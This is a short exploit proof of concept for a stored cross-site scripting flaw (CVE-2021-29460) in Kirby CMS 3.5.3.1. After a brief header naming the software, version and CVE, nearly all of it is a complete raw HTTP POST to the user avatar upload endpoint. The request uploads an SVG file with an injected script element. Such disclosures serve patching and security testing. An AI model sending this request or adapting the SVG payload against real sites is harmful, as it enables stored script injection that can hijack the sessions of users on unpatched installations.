40 lines
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1.2 KiB
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40 lines
No EOL
1.2 KiB
Text
# Exploit Title: Kirby CMS 3.5.3.1 - 'file' Cross-Site Scripting (XSS)
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# Date: 21-04-2021
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# Exploit Author: Sreenath Raghunathan
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# Vendor Homepage: https://getkirby.com/
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# Software Link: https://github.com/getkirby/kirby
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# Version: 3.5.3.1(REQUIRED)
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# CVE : CVE-2021-29460
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POST /api/users/<userid>/avatar HTTP/1.1
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Host: <host>
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
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Gecko/20100101 Firefox/87.0
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Accept: */*
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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X-CSRF: <redacted>
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Content-Type: multipart/form-data;
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boundary=---------------------------286121627839893676321700902916
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Content-Length: 563
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Connection: close
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Cookie:
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<redacted>
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-----------------------------286121627839893676321700902916
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Content-Disposition: form-data; name="file"; filename="svgxss.svg"
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Content-Type: image/svg+xml
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<?xml version="1.0" standalone="no"?>
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<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
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"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
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<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
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<polygon id="triangle" points="0,0 0,500 500,0" fill="#009900"
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stroke="#004400"/>
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"><script>alert(1)</script>
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</svg>
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-----------------------------286121627839893676321700902916-- |